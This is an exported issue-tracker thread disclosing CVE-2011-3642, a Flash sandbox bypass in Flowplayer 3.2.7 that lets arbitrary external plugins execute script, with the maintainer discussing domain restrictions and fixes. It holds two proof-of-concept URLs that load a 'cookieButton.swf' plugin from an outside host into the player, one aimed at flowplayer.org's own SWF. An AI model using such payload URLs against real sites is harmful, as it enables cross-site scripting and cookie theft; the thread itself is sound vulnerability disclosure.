Arbitrary plugins with remote code execution (XSS)

[GoogleCodeExporter]

Originally reported on 8/17/11 with no response.

CVE: CVE-2011-3642

Description: The application allows for the inclusion of arbitrary external 
plugins and then bridges the flash security sandbox with the following code and 
therefore allowing malicious code execution.

this._loaderContext.applicationDomain = ApplicationDomain.currentDomain;

Proof of Concept:
http://web.appsec.ws/HaxLab/flowplayer/flowplayer-3.2.7.swf?config={"clip":{"url
":"http://pseudo01.hddn.com/vod/demo.flowplayervod/flowplayer-700.flv"},"plugins
": {"controls":{"url": 
"http://web.appsec.ws/HaxLab/flowplayer/flowplayer.controls-3.2.5.swf"},"WhiteHa
t":{"url": "http://web.appsec.ws/HaxLab/cookieButton.swf"}}}

Original issue reported on code.google.com by myste...@gmail.com on 21 Dec 2011 at 9:46

[GoogleCodeExporter]

May I ask what your suggestion is, the idea is to include external programs 
into the player as plugins. 

Original comment by electrot...@gmail.com on 24 Dec 2011 at 11:53

[GoogleCodeExporter]

Notice the file is from the same domain. The player wont be allowed to load a 
plugin from an external domain or so in theory. 

Original comment by dani...@electroteque.org on 24 Dec 2011 at 11:56

[GoogleCodeExporter]

Please let me know if this is what you have concern about and if it resolves 
it. 

Original comment by dani...@electroteque.org on 27 Dec 2011 at 3:13

[GoogleCodeExporter]

If you change the domain to "www" you can demonstrate cross domain scripting 
due to the code highlighted above that bridges the flash sandbox. I would 
suggest restricting plugins to reside within the same domain by default with 
the possibility to specify a white-list of acceptable domains as part of an 
advanced setup. Rendering of third party content is a concern, but the ability 
to execute script makes this issue much more severe.

I understand support for third party plugins is intended, but the current 
implementation exposes a critical vulnerability to achieve the desired 
functionality.

Original comment by myste...@gmail.com on 27 Dec 2011 at 7:14

[GoogleCodeExporter]

www is a sub domain dns record of the main domain. If you attempted to load it 
from web.appsec1.ws it wouldn't work. The domain part is appsec.ws, so flash 
sees it as the same domain, it already has cross domain restrictions setup. Of 
course if you pointed www.appsec.ws somewhere else, nobody can determine that. 

Original comment by dani...@electroteque.org on 30 Dec 2011 at 3:38

[GoogleCodeExporter]

Flash views all sub-domains as different security sandboxes. There's two 
boundaries at play here.

The first is the domain restriction that dictates what domains can evaluate 
content within another domain. In my example case my domain "web.appsec.ws" is 
setup with an open permission to allow any domain to evaluate the binary 
content that resides on my domain.

The second restriction in place is the default security sandbox flash imposes 
based on source domain the content resides in. The two SWF files retain their 
respective security domains and restrict operations such as calling the 
externalinterface (javascript).

Flowplayer bridges the second restriction and says any external content should 
be directly embedded within the same security sandbox and therefore allowing 
script execution from any domain.

As further example, here's the module from flowplayer website being exploited:

http://www.flowplayer.org/swf/flowplayer-3.2.7.swf?config={%22clip%22:{%22url%22
:%22http://pseudo01.hddn.com/vod/demo.flowplayervod/flowplayer-700.flv%22},%22pl
ugins%22:%20{%22controls%22:{%22url%22:%20%22http://web.appsec.ws/HaxLab/flowpla
yer/flowplayer.controls-3.2.5.swf%22},%22WhiteHat%22:{%22url%22:%20%22http://web
.appsec.ws/HaxLab/cookieButton.swf%22}}}

Original comment by myste...@gmail.com on 30 Dec 2011 at 4:33

[GoogleCodeExporter]

Thanks very much thats not supposed to happen I suppose  now ;)

Original comment by dani...@electroteque.org on 3 Jan 2012 at 2:58

[GoogleCodeExporter]

Im guessing its allowed because of the policy file. I'll have to figure out a 
work around, it should not be loading files from a remote domain I guess. 

Original comment by dani...@electroteque.org on 3 Jan 2012 at 3:08

[GoogleCodeExporter]

http://code.google.com/p/flowplayer-core/issues/detail?id=348

There is a feature request to prevent url configs. Would this fix your problem 
? 

Original comment by dani...@electroteque.org on 26 Jan 2012 at 4:39

[GoogleCodeExporter]

Ideally it would be nice to still support an external configuration but 
restrict the configuration to the same domain so you can still have dynamic 
variables without compromising security.

Preventing URL configs altogether would prevent remote code execution.

Original comment by myste...@gmail.com on 26 Jan 2012 at 6:23